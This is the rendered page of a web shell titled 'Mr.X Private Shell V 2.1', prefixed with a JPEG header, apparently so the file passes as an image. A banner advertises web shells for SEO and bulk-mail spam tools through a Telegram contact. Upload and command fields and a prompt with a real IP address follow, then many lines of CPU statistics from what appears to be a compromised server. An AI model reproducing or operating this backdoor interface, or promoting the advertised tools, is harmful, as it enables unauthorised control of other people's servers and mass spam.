����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

deexcl@216.73.217.71: ~ $
Linux 5.14.0-611.9.1.el9_7.x86_64 (v22519141.sin01.serveradd.com) 	2026-05-06 	_x86_64_	(4 CPU)

00:00:00        CPU      %usr     %nice      %sys   %iowait    %steal      %irq     %soft    %guest    %gnice     %idle
00:10:01        all     10.42      0.03      1.37      0.58      0.01      0.00      0.12      0.00      0.00     87.46
00:10:01          0      7.89      0.03      1.27      0.41      0.01      0.00      0.31      0.00      0.00     90.07
00:10:01          1     12.57      0.04      1.49      0.67      0.00      0.00      0.08      0.00      0.00     85.15
00:10:01          2      9.09      0.02      1.27      0.81      0.00      0.00      0.08      0.00      0.00     88.73
00:10:01          3     12.13      0.05      1.47      0.43      0.00      0.00      0.04      0.00      0.00     85.89
00:20:01        all     11.45      0.02      1.23      0.09      0.00      0.00      0.09      0.00      0.00     87.13
00:20:01          0     11.08      0.02      1.32      0.08      0.01      0.00      0.27      0.00      0.00     87.23
00:20:01          1     13.12      0.04      1.33      0.09      0.00      0.00      0.03      0.00      0.00     85.38
00:20:01          2     11.04      0.01      1.11      0.09      0.00      0.00      0.03      0.00      0.00     87.72
00:20:01          3     10.55      0.00      1.17      0.10      0.00      0.00      0.02      0.00      0.00     88.17
00:30:01        all      8.63      0.01      1.06      0.07      0.00      0.00      0.08      0.00      0.00     90.15
00:30:01          0      7.23      0.00      1.03      0.07      0.01      0.00      0.27      0.00      0.00     91.40
00:30:01          1     10.35      0.00      1.15      0.09      0.00      0.00      0.03      0.00      0.00     88.38
00:30:01          2      7.92      0.02      0.99      0.04      0.00      0.00      0.03      0.00      0.00     91.00
00:30:01          3      9.00      0.01      1.08      0.07      0.00      0.00      0.01      0.00      0.00     89.83
00:40:01        all      9.37      0.01      1.14      0.13      0.00      0.00      0.09      0.00      0.00     89.25
00:40:01          0      7.93      0.00      1.08      0.06      0.01      0.00      0.29      0.00      0.00     90.64
00:40:01          1     11.37      0.00      1.21      0.19      0.00      0.00      0.03      0.00      0.00     87.20
00:40:01          2      7.31      0.00      1.03      0.10      0.00      0.00      0.04      0.00      0.00     91.52
00:40:01          3     10.88      0.03      1.24      0.18      0.00      0.00      0.02      0.00      0.00     87.65
00:50:00        all     11.38      0.01      1.19      0.07      0.00      0.00      0.09      0.00      0.00     87.26
00:50:00          0     10.84      0.00      1.22      0.07      0.01      0.00      0.27      0.00      0.00     87.60
00:50:00          1     11.73      0.02      1.21      0.09      0.00      0.00      0.04      0.00      0.00     86.90
00:50:00          2      9.08      0.00      1.04      0.06      0.00      0.00      0.03      0.00      0.00     89.79
00:50:00          3     13.84      0.00      1.30      0.08      0.00      0.00      0.02      0.00      0.00     84.76
01:00:01        all     12.34      0.01      1.32      0.06      0.00      0.00      0.08      0.00      0.00     86.19
01:00:01          0     10.92      0.00      1.25      0.07      0.01      0.00      0.26      0.00      0.00     87.50
01:00:01          1     13.71      0.04      1.43      0.06      0.00      0.00      0.04      0.00      0.00     84.72
01:00:01          2     11.73      0.00      1.25      0.03      0.00      0.00      0.03      0.00      0.00     86.97
01:00:01          3     12.98      0.00      1.35      0.08      0.00      0.00      0.02      0.00      0.00     85.57
01:10:01        all     11.45      0.04      1.38      0.11      0.00      0.00      0.08      0.00      0.00     86.94
01:10:01          0      9.98      0.06      1.35      0.08      0.01      0.00      0.23      0.00      0.00     88.29
01:10:01          1     13.13      0.09      1.52      0.19      0.00      0.00      0.03      0.00      0.00     85.03
01:10:01          2      9.81      0.00      1.22      0.11      0.01      0.00      0.03      0.00      0.00     88.83
01:10:01          3     12.87      0.00      1.43      0.07      0.00      0.00      0.02      0.00      0.00     85.60
01:20:01        all     10.70      0.01      1.29      0.09      0.00      0.00      0.08      0.00      0.00     87.83
01:20:01          0      9.56      0.03      1.24      0.06      0.01      0.00      0.22      0.00      0.00     88.87
01:20:01          1     11.26      0.00      1.23      0.09      0.00      0.00      0.04      0.00      0.00     87.38
01:20:01          2      9.10      0.00      1.21      0.10      0.00      0.00      0.04      0.00      0.00     89.55
01:20:01          3     12.86      0.00      1.46      0.12      0.00      0.00      0.02      0.00      0.00     85.54
01:30:01        all      9.25      0.01      1.29      0.10      0.00      0.00      0.09      0.00      0.00     89.25
01:30:01          0      8.17      0.00      1.19      0.08      0.01      0.00      0.25      0.00      0.00     90.31
01:30:01          1     10.16      0.00      1.43      0.13      0.00      0.00      0.05      0.00      0.00     88.23
01:30:01          2      8.35      0.00      1.23      0.09      0.00      0.00      0.05      0.00      0.00     90.28
01:30:01          3     10.32      0.04      1.32      0.09      0.00      0.00      0.03      0.00      0.00     88.20
01:40:00        all     17.81      0.02      1.78      0.10      0.00      0.00      0.11      0.00      0.00     80.18
01:40:00          0     14.82      0.00      1.71      0.10      0.01      0.00      0.29      0.00      0.00     83.07
01:40:00          1     21.15      0.01      2.00      0.12      0.00      0.00      0.06      0.00      0.00     76.66
01:40:00          2     13.78      0.00      1.53      0.06      0.00      0.00      0.05      0.00      0.00     84.57
01:40:00          3     21.46      0.08      1.86      0.10      0.00      0.00      0.03      0.00      0.00     76.45
01:50:01        all     19.27      0.03      1.95      0.09      0.00      0.00      0.10      0.00      0.00     78.55
01:50:01          0     17.57      0.04      1.89      0.08      0.01      0.00      0.25      0.00      0.00     80.16
01:50:01          1     21.37      0.00      1.97      0.12      0.00      0.00      0.06      0.00      0.00     76.47
01:50:01          2     16.71      0.07      1.86      0.06      0.00      0.00      0.05      0.00      0.00     81.24
01:50:01          3     21.44      0.00      2.09      0.10      0.00      0.00      0.04      0.00      0.00     76.34

01:50:01        CPU      %usr     %nice      %sys   %iowait    %steal      %irq     %soft    %guest    %gnice     %idle
02:00:01        all     14.08      0.02      1.67      0.10      0.00      0.00      0.11      0.00      0.00     84.02
02:00:01          0     13.03      0.00      1.60      0.11      0.01      0.00      0.25      0.00      0.00     85.01
02:00:01          1     15.96      0.00      1.78      0.06      0.00      0.00      0.08      0.00      0.00     82.12
02:00:01          2     12.58      0.00      1.66      0.13      0.00      0.00      0.08      0.00      0.00     85.55
02:00:01          3     14.73      0.06      1.64      0.11      0.00      0.00      0.04      0.00      0.00     83.42
02:10:01        all     18.32      0.26      2.04      0.25      0.01      0.00      0.16      0.00      0.00     78.96
02:10:01          0     17.24      0.25      1.94      0.25      0.01      0.00      0.35      0.00      0.00     79.96
02:10:01          1     21.16      0.75      2.24      0.22      0.00      0.00      0.09      0.00      0.00     75.55
02:10:01          2     15.36      0.03      1.90      0.27      0.00      0.00      0.11      0.00      0.00     82.33
02:10:01          3     19.53      0.03      2.07      0.27      0.00      0.00      0.07      0.00      0.00     78.02
02:20:01        all      8.62      0.01      1.07      0.12      0.00      0.00      0.09      0.00      0.00     90.09
02:20:01          0      7.11      0.00      1.04      0.11      0.01      0.00      0.27      0.00      0.00     91.47
02:20:01          1      9.91      0.04      1.12      0.12      0.00      0.00      0.04      0.00      0.00     88.77
02:20:01          2      7.03      0.00      0.96      0.12      0.00      0.00      0.03      0.00      0.00     91.85
02:20:01          3     10.42      0.00      1.18      0.11      0.00      0.00      0.02      0.00      0.00     88.27
02:30:01        all     10.58      0.01      1.16      0.08      0.00      0.00      0.09      0.00      0.00     88.08
02:30:01          0      8.41      0.00      1.15      0.10      0.01      0.00      0.27      0.00      0.00     90.05
02:30:01          1     12.96      0.03      1.31      0.07      0.00      0.00      0.04      0.00      0.00     85.59
02:30:01          2      8.94      0.00      1.01      0.08      0.00      0.00      0.03      0.00      0.00     89.93
02:30:01          3     11.98      0.00      1.19      0.07      0.00      0.00      0.02      0.00      0.00     86.74
02:40:00        all      9.44      0.01      1.12      0.09      0.00      0.00      0.09      0.00      0.00     89.25
02:40:00          0      9.07      0.00      1.13      0.04      0.01      0.00      0.26      0.00      0.00     89.49
02:40:00          1     10.18      0.00      1.16      0.07      0.00      0.00      0.04      0.00      0.00     88.55
02:40:00          2      9.07      0.00      1.05      0.10      0.00      0.00      0.03      0.00      0.00     89.75
02:40:00          3      9.45      0.04      1.14      0.13      0.00      0.00      0.02      0.00      0.00     89.22
02:50:01        all      9.03      0.01      1.09      0.07      0.00      0.00      0.09      0.00      0.00     89.70
02:50:01          0      6.64      0.00      0.98      0.05      0.01      0.00      0.27      0.00      0.00     92.05
02:50:01          1     10.74      0.03      1.20      0.05      0.00      0.00      0.04      0.00      0.00     87.94
02:50:01          2      8.13      0.00      1.02      0.09      0.00      0.00      0.03      0.00      0.00     90.73
02:50:01          3     10.62      0.03      1.15      0.09      0.00      0.00      0.02      0.00      0.00     88.09
03:00:00        all      7.90      0.01      1.04      0.07      0.00      0.00      0.08      0.00      0.00     90.89
03:00:00          0      7.07      0.00      1.10      0.07      0.01      0.00      0.26      0.00      0.00     91.48
03:00:00          1      9.49      0.00      1.13      0.08      0.00      0.00      0.03      0.00      0.00     89.26
03:00:00          2      7.32      0.03      0.91      0.09      0.00      0.00      0.03      0.00      0.00     91.62
03:00:00          3      7.72      0.00      1.01      0.03      0.00      0.00      0.02      0.00      0.00     91.22
03:10:00        all     13.38      0.01      1.79      0.20      0.00      0.00      0.11      0.00      0.00     84.50
03:10:00          0     11.49      0.00      1.67      0.14      0.01      0.00      0.31      0.00      0.00     86.39
03:10:00          1     15.61      0.04      1.74      0.15      0.00      0.00      0.06      0.00      0.00     82.41
03:10:00          2     10.90      0.00      1.76      0.28      0.00      0.00      0.06      0.00      0.00     87.00
03:10:00          3     15.53      0.00      2.00      0.22      0.00      0.00      0.03      0.00      0.00     82.22
03:20:00        all      8.39      0.03      1.04      0.09      0.01      0.00      0.09      0.00      0.00     90.36
03:20:00          0      7.13      0.00      1.00      0.06      0.01      0.00      0.28      0.00      0.00     91.52
03:20:00          1      9.79      0.02      1.10      0.08      0.00      0.00      0.03      0.00      0.00     88.98
03:20:00          2      6.76      0.08      0.89      0.18      0.00      0.00      0.03      0.00      0.00     92.06
03:20:00          3      9.88      0.02      1.15      0.05      0.00      0.00      0.02      0.00      0.00     88.87
03:30:00        all      8.81      0.02      1.06      0.06      0.00      0.00      0.09      0.00      0.00     89.96
03:30:00          0      8.64      0.00      1.07      0.05      0.01      0.00      0.28      0.00      0.00     89.95
03:30:00          1      9.35      0.00      1.08      0.07      0.00      0.00      0.03      0.00      0.00     89.47
03:30:00          2      8.06      0.03      1.01      0.08      0.00      0.00      0.03      0.00      0.00     90.79
03:30:00          3      9.18      0.04      1.09      0.04      0.00      0.00      0.02      0.00      0.00     89.63
03:40:01        all     28.35      0.07      2.31      0.05      0.00      0.00      0.12      0.00      0.00     69.09
03:40:01          0     24.32      0.03      2.15      0.05      0.01      0.00      0.34      0.00      0.00     73.10
03:40:01          1     32.88      0.10      2.52      0.04      0.00      0.00      0.07      0.00      0.00     64.40
03:40:01          2     23.66      0.03      2.03      0.06      0.00      0.00      0.06      0.00      0.00     74.17
03:40:01          3     32.54      0.11      2.53      0.06      0.00      0.00      0.04      0.00      0.00     64.72

03:40:01        CPU      %usr     %nice      %sys   %iowait    %steal      %irq     %soft    %guest    %gnice     %idle
03:50:01        all     21.33      0.01      1.88      0.09      0.00      0.00      0.10      0.00      0.00     76.59
03:50:01          0     19.01      0.00      1.76      0.08      0.01      0.00      0.25      0.00      0.00     78.89
03:50:01          1     23.90      0.00      2.03      0.06      0.00      0.00      0.06      0.00      0.00     73.95
03:50:01          2     19.36      0.03      1.77      0.09      0.00      0.00      0.05      0.00      0.00     78.69
03:50:01          3     23.02      0.00      1.96      0.12      0.00      0.00      0.04      0.00      0.00     74.85
04:00:00        all     17.69      0.01      1.65      0.06      0.01      0.00      0.10      0.00      0.00     80.47
04:00:00          0     15.04      0.03      1.52      0.07      0.01      0.00      0.26      0.00      0.00     83.06
04:00:00          1     17.48      0.00      1.65      0.07      0.00      0.00      0.06      0.00      0.00     80.74
04:00:00          2     17.62      0.02      1.72      0.08      0.00      0.00      0.05      0.00      0.00     80.51
04:00:00          3     20.61      0.00      1.73      0.04      0.00      0.00      0.04      0.00      0.00     77.58
04:10:01        all     16.37      0.01      1.65      0.08      0.01      0.00      0.11      0.00      0.00     81.78
04:10:01          0     15.16      0.00      1.59      0.10      0.01      0.00      0.28      0.00      0.00     82.85
04:10:01          1     17.56      0.00      1.81      0.09      0.00      0.00      0.06      0.00      0.00     80.48
04:10:01          2     14.66      0.00      1.47      0.08      0.00      0.00      0.05      0.00      0.00     83.75
04:10:01          3     18.10      0.02      1.71      0.07      0.00      0.00      0.04      0.00      0.00     80.06
04:20:01        all     12.23      0.02      1.43      0.12      0.00      0.00      0.09      0.00      0.00     86.11
04:20:01          0     12.63      0.04      1.51      0.08      0.01      0.00      0.24      0.00      0.00     85.49
04:20:01          1     12.46      0.00      1.36      0.12      0.00      0.00      0.05      0.00      0.00     86.01
04:20:01          2     11.49      0.00      1.39      0.11      0.00      0.00      0.04      0.00      0.00     86.96
04:20:01          3     12.32      0.05      1.47      0.16      0.00      0.00      0.03      0.00      0.00     85.97
04:30:01        all     11.44      0.01      1.25      0.07      0.00      0.00      0.09      0.00      0.00     87.13
04:30:01          0     12.48      0.01      1.37      0.04      0.01      0.00      0.25      0.00      0.00     85.85
04:30:01          1     12.37      0.00      1.26      0.08      0.00      0.00      0.04      0.00      0.00     86.25
04:30:01          2      8.95      0.00      1.08      0.07      0.00      0.00      0.04      0.00      0.00     89.85
04:30:01          3     11.98      0.03      1.28      0.08      0.00      0.00      0.03      0.00      0.00     86.59
04:40:01        all     10.86      0.01      1.42      0.17      0.00      0.00      0.09      0.00      0.00     87.45
04:40:01          0      9.70      0.00      1.28      0.10      0.01      0.00      0.23      0.00      0.00     88.68
04:40:01          1     11.61      0.00      1.51      0.18      0.00      0.00      0.05      0.00      0.00     86.66
04:40:01          2      9.99      0.03      1.34      0.10      0.00      0.00      0.04      0.00      0.00     88.51
04:40:01          3     12.15      0.00      1.56      0.31      0.00      0.00      0.03      0.00      0.00     85.96
04:50:01        all     11.59      0.01      1.36      0.14      0.01      0.00      0.10      0.00      0.00     86.80
04:50:01          0      9.51      0.00      1.26      0.15      0.01      0.00      0.27      0.00      0.00     88.80
04:50:01          1     13.34      0.00      1.42      0.14      0.00      0.00      0.05      0.00      0.00     85.04
04:50:01          2     10.85      0.00      1.29      0.14      0.00      0.00      0.05      0.00      0.00     87.66
04:50:01          3     12.63      0.03      1.46      0.13      0.00      0.00      0.02      0.00      0.00     85.72
05:00:00        all     10.69      0.01      1.42      0.23      0.01      0.00      0.09      0.00      0.00     87.54
05:00:00          0      8.87      0.00      1.38      0.29      0.01      0.00      0.26      0.00      0.00     89.18
05:00:00          1     12.08      0.00      1.49      0.25      0.00      0.00      0.05      0.00      0.00     86.13
05:00:00          2      9.89      0.00      1.33      0.21      0.00      0.00      0.05      0.00      0.00     88.52
05:00:00          3     11.92      0.03      1.49      0.20      0.00      0.00      0.03      0.00      0.00     86.34
05:10:01        all      8.98      0.04      1.17      0.17      0.00      0.00      0.08      0.00      0.00     89.56
05:10:01          0      7.99      0.04      1.15      0.17      0.01      0.00      0.23      0.00      0.00     90.41
05:10:01          1     10.03      0.07      1.25      0.11      0.00      0.00      0.03      0.00      0.00     88.50
05:10:01          2      8.86      0.01      1.15      0.24      0.00      0.00      0.04      0.00      0.00     89.70
05:10:01          3      9.02      0.03      1.14      0.16      0.00      0.00      0.02      0.00      0.00     89.63
05:20:01        all     12.19      0.01      1.30      0.08      0.00      0.00      0.09      0.00      0.00     86.33
05:20:01          0     10.10      0.00      1.22      0.10      0.01      0.00      0.26      0.00      0.00     88.31
05:20:01          1     14.28      0.00      1.40      0.08      0.00      0.00      0.03      0.00      0.00     84.21
05:20:01          2     10.85      0.00      1.23      0.07      0.00      0.00      0.04      0.00      0.00     87.82
05:20:01          3     13.52      0.04      1.35      0.09      0.00      0.00      0.02      0.00      0.00     84.98
05:30:00        all     21.86      0.03      2.03      0.13      0.00      0.00      0.12      0.00      0.00     75.82
05:30:00          0     18.56      0.07      1.89      0.09      0.01      0.00      0.32      0.00      0.00     79.07
05:30:00          1     26.42      0.01      2.20      0.13      0.00      0.00      0.06      0.00      0.00     71.18
05:30:00          2     17.85      0.00      1.92      0.15      0.00      0.00      0.07      0.00      0.00     80.01
05:30:00          3     24.61      0.05      2.13      0.15      0.00      0.00      0.04      0.00      0.00     73.03

05:30:00        CPU      %usr     %nice      %sys   %iowait    %steal      %irq     %soft    %guest    %gnice     %idle
05:40:01        all     21.53      0.01     18.84      0.23      0.00      0.00      0.16      0.00      0.00     59.24
05:40:01          0     20.87      0.00     17.48      0.21      0.01      0.00      0.33      0.00      0.00     61.10
05:40:01          1     21.55      0.00     19.78      0.19      0.00      0.00      0.11      0.00      0.00     58.38
05:40:01          2     20.62      0.00     15.13      0.16      0.00      0.00      0.10      0.00      0.00     63.99
05:40:01          3     23.08      0.04     22.97      0.35      0.00      0.00      0.09      0.00      0.00     53.48
05:50:01        all     14.63      0.01      1.62      0.18      0.00      0.00      0.11      0.00      0.00     83.45
05:50:01          0     13.18      0.02      1.60      0.13      0.01      0.00      0.26      0.00      0.00     84.80
05:50:01          1     15.47      0.00      1.61      0.18      0.00      0.00      0.06      0.00      0.00     82.68
05:50:01          2     14.00      0.00      1.55      0.24      0.00      0.00      0.07      0.00      0.00     84.13
05:50:01          3     15.86      0.00      1.73      0.17      0.00      0.00      0.04      0.00      0.00     82.20
06:00:00        all     21.22      0.02      2.11      0.14      0.00      0.00      0.14      0.00      0.00     76.37
06:00:00          0     20.38      0.00      2.15      0.10      0.01      0.00      0.37      0.00      0.00     77.00
06:00:00          1     21.64      0.00      2.17      0.24      0.00      0.00      0.07      0.00      0.00     75.87
06:00:00          2     18.42      0.00      1.88      0.10      0.00      0.00      0.08      0.00      0.00     79.52
06:00:00          3     24.44      0.06      2.24      0.12      0.00      0.00      0.05      0.00      0.00     73.10
06:10:01        all     17.15      0.01      2.01      0.23      0.01      0.00      0.15      0.00      0.00     80.44
06:10:01          0     15.83      0.00      2.00      0.19      0.01      0.00      0.39      0.00      0.00     81.59
06:10:01          1     20.20      0.00      2.28      0.28      0.00      0.00      0.08      0.00      0.00     77.15
06:10:01          2     15.13      0.00      1.88      0.20      0.01      0.00      0.08      0.00      0.00     82.71
06:10:01          3     17.46      0.03      1.90      0.26      0.01      0.00      0.04      0.00      0.00     80.31
06:20:01        all     18.15      0.01      1.89      0.15      0.00      0.00      0.12      0.00      0.00     79.68
06:20:01          0     16.54      0.03      1.72      0.13      0.01      0.00      0.30      0.00      0.00     81.27
06:20:01          1     17.71      0.00      1.86      0.22      0.00      0.00      0.08      0.00      0.00     80.13
06:20:01          2     18.31      0.00      1.88      0.12      0.00      0.00      0.07      0.00      0.00     79.62
06:20:01          3     20.04      0.00      2.08      0.13      0.00      0.00      0.04      0.00      0.00     77.70
06:30:01        all     12.80      0.01      1.42      0.12      0.00      0.00      0.09      0.00      0.00     85.56
06:30:01          0     12.34      0.00      1.41      0.14      0.01      0.00      0.26      0.00      0.00     85.84
06:30:01          1     15.25      0.00      1.62      0.13      0.00      0.00      0.05      0.00      0.00     82.95
06:30:01          2      9.76      0.00      1.24      0.11      0.00      0.00      0.04      0.00      0.00     88.84
06:30:01          3     13.84      0.04      1.39      0.09      0.00      0.00      0.02      0.00      0.00     84.62
06:40:01        all     17.04      0.01      1.55      0.09      0.00      0.00      0.10      0.00      0.00     81.20
06:40:01          0     14.77      0.00      1.49      0.10      0.01      0.00      0.28      0.00      0.00     83.35
06:40:01          1     17.58      0.00      1.57      0.10      0.00      0.00      0.05      0.00      0.00     80.71
06:40:01          2     16.25      0.03      1.49      0.07      0.00      0.00      0.05      0.00      0.00     82.11
06:40:01          3     19.58      0.00      1.65      0.09      0.00      0.00      0.03      0.00      0.00     78.65
06:50:01        all     14.34      0.02      1.62      0.21      0.01      0.00      0.11      0.00      0.00     83.70
06:50:01          0     14.49      0.01      1.60      0.19      0.01      0.00      0.28      0.00      0.00     83.43
06:50:01          1     15.09      0.00      1.72      0.27      0.00      0.00      0.06      0.00      0.00     82.86
06:50:01          2     13.57      0.06      1.61      0.17      0.00      0.00      0.06      0.00      0.00     84.53
06:50:01          3     14.22      0.00      1.53      0.22      0.00      0.00      0.04      0.00      0.00     83.98
07:00:01        all      9.07      0.01      1.14      0.09      0.00      0.00      0.07      0.00      0.00     89.61
07:00:01          0      8.17      0.00      1.12      0.08      0.01      0.00      0.19      0.00      0.00     90.42
07:00:01          1     10.20      0.00      1.21      0.09      0.00      0.00      0.04      0.00      0.00     88.47
07:00:01          2      7.37      0.04      1.06      0.07      0.00      0.00      0.03      0.00      0.00     91.43
07:00:01          3     10.54      0.00      1.19      0.10      0.00      0.00      0.02      0.00      0.00     88.14
07:10:00        all      9.84      0.03      1.23      0.09      0.00      0.00      0.09      0.00      0.00     88.71
07:10:00          0      7.56      0.00      1.10      0.06      0.01      0.00      0.27      0.00      0.00     91.00
07:10:00          1     10.72      0.05      1.28      0.19      0.00      0.00      0.04      0.00      0.00     87.73
07:10:00          2      9.74      0.00      1.20      0.08      0.00      0.00      0.03      0.00      0.00     88.95
07:10:00          3     11.34      0.07      1.36      0.05      0.00      0.00      0.02      0.00      0.00     87.16
07:20:00        all     12.41      0.01      1.38      0.07      0.00      0.00      0.09      0.00      0.00     86.03
07:20:00          0     10.98      0.01      1.37      0.07      0.01      0.00      0.25      0.00      0.00     87.31
07:20:00          1     12.05      0.00      1.35      0.06      0.00      0.00      0.04      0.00      0.00     86.49
07:20:00          2     12.71      0.00      1.37      0.09      0.00      0.00      0.04      0.00      0.00     85.80
07:20:00          3     13.90      0.05      1.43      0.07      0.00      0.00      0.02      0.00      0.00     84.53

07:20:00        CPU      %usr     %nice      %sys   %iowait    %steal      %irq     %soft    %guest    %gnice     %idle
07:30:01        all     24.07      0.01      1.90      0.09      0.00      0.00      0.13      0.00      0.00     73.80
07:30:01          0     21.68      0.00      1.92      0.08      0.01      0.00      0.30      0.00      0.00     76.01
07:30:01          1     25.49      0.01      1.96      0.16      0.00      0.00      0.10      0.00      0.00     72.28
07:30:01          2     24.27      0.00      1.83      0.06      0.00      0.00      0.06      0.00      0.00     73.78
07:30:01          3     24.85      0.03      1.90      0.04      0.00      0.00      0.06      0.00      0.00     73.13
07:40:01        all     11.20      0.02      1.14      0.07      0.01      0.00      0.09      0.00      0.00     87.48
07:40:01          0     10.24      0.06      1.11      0.05      0.02      0.00      0.27      0.00      0.00     88.25
07:40:01          1     12.86      0.00      1.33      0.09      0.00      0.00      0.04      0.00      0.00     85.68
07:40:01          2      9.41      0.00      1.00      0.07      0.00      0.00      0.03      0.00      0.00     89.49
07:40:01          3     12.26      0.00      1.14      0.06      0.00      0.00      0.02      0.00      0.00     86.50
07:50:01        all     11.17      0.01      1.28      0.05      0.01      0.00      0.09      0.00      0.00     87.40
07:50:01          0      9.97      0.03      1.27      0.05      0.01      0.00      0.27      0.00      0.00     88.39
07:50:01          1     12.62      0.00      1.35      0.05      0.00      0.00      0.04      0.00      0.00     85.94
07:50:01          2      9.19      0.00      1.11      0.07      0.01      0.00      0.04      0.00      0.00     89.59
07:50:01          3     12.88      0.00      1.37      0.03      0.00      0.00      0.02      0.00      0.00     85.69
08:00:01        all     11.07      0.01      1.19      0.09      0.00      0.00      0.09      0.00      0.00     87.54
08:00:01          0      9.47      0.00      1.15      0.07      0.01      0.00      0.26      0.00      0.00     89.03
08:00:01          1     13.13      0.00      1.32      0.07      0.00      0.00      0.05      0.00      0.00     85.43
08:00:01          2      9.82      0.00      1.05      0.09      0.00      0.00      0.04      0.00      0.00     89.00
08:00:01          3     11.84      0.03      1.25      0.12      0.00      0.00      0.03      0.00      0.00     86.72
08:10:00        all     12.53      0.01      1.38      0.11      0.00      0.00      0.08      0.00      0.00     85.89
08:10:00          0     12.91      0.03      1.47      0.07      0.01      0.00      0.22      0.00      0.00     85.28
08:10:00          1     13.02      0.00      1.37      0.07      0.00      0.00      0.04      0.00      0.00     85.50
08:10:00          2     11.01      0.00      1.25      0.19      0.00      0.00      0.04      0.00      0.00     87.50
08:10:00          3     13.17      0.00      1.42      0.10      0.00      0.00      0.03      0.00      0.00     85.28
08:20:01        all     12.24      0.01      1.22      0.05      0.00      0.00      0.08      0.00      0.00     86.39
08:20:01          0     10.54      0.00      1.12      0.04      0.01      0.00      0.22      0.00      0.00     88.08
08:20:01          1     12.48      0.00      1.22      0.04      0.00      0.00      0.04      0.00      0.00     86.22
08:20:01          2     11.92      0.03      1.18      0.07      0.00      0.00      0.03      0.00      0.00     86.77
08:20:01          3     14.04      0.00      1.37      0.06      0.00      0.00      0.03      0.00      0.00     84.50
08:30:01        all     11.70      0.02      1.22      0.06      0.00      0.00      0.09      0.00      0.00     86.91
08:30:01          0     10.45      0.00      1.22      0.04      0.01      0.00      0.25      0.00      0.00     88.03
08:30:01          1     12.62      0.00      1.27      0.05      0.00      0.00      0.04      0.00      0.00     86.02
08:30:01          2      9.51      0.03      1.08      0.08      0.00      0.00      0.04      0.00      0.00     89.27
08:30:01          3     14.22      0.04      1.33      0.08      0.00      0.00      0.03      0.00      0.00     84.31
08:40:01        all     10.36      0.01      1.21      0.12      0.00      0.00      0.09      0.00      0.00     88.20
08:40:01          0      8.51      0.00      1.18      0.12      0.01      0.00      0.27      0.00      0.00     89.91
08:40:01          1     11.38      0.00      1.22      0.06      0.00      0.00      0.03      0.00      0.00     87.32
08:40:01          2      9.48      0.00      1.15      0.22      0.01      0.00      0.04      0.00      0.00     89.11
08:40:01          3     12.09      0.04      1.30      0.06      0.00      0.00      0.02      0.00      0.00     86.48
08:50:01        all      7.33      0.03      6.03      0.16      0.00      0.00      0.11      0.00      0.00     86.33
08:50:01          0      7.59      0.05      3.95      0.11      0.01      0.00      0.30      0.00      0.00     88.00
08:50:01          1      7.42      0.04      6.94      0.19      0.00      0.00      0.06      0.00      0.00     85.35
08:50:01          2      6.33      0.03      6.38      0.26      0.00      0.00      0.06      0.00      0.00     86.95
08:50:01          3      8.00      0.02      6.85      0.08      0.00      0.00      0.04      0.00      0.00     85.02
09:00:01        all     11.02      0.01     23.94      0.95      0.00      0.00      0.26      0.00      0.00     63.81
09:00:01          0     10.28      0.00     13.57      0.96      0.01      0.00      0.61      0.00      0.00     74.56
09:00:01          1     11.60      0.00     33.62      0.83      0.00      0.00      0.19      0.00      0.00     53.76
09:00:01          2     10.02      0.00     22.83      0.90      0.00      0.00      0.17      0.00      0.00     66.08
09:00:01          3     12.19      0.04     25.76      1.08      0.00      0.00      0.09      0.00      0.00     60.83
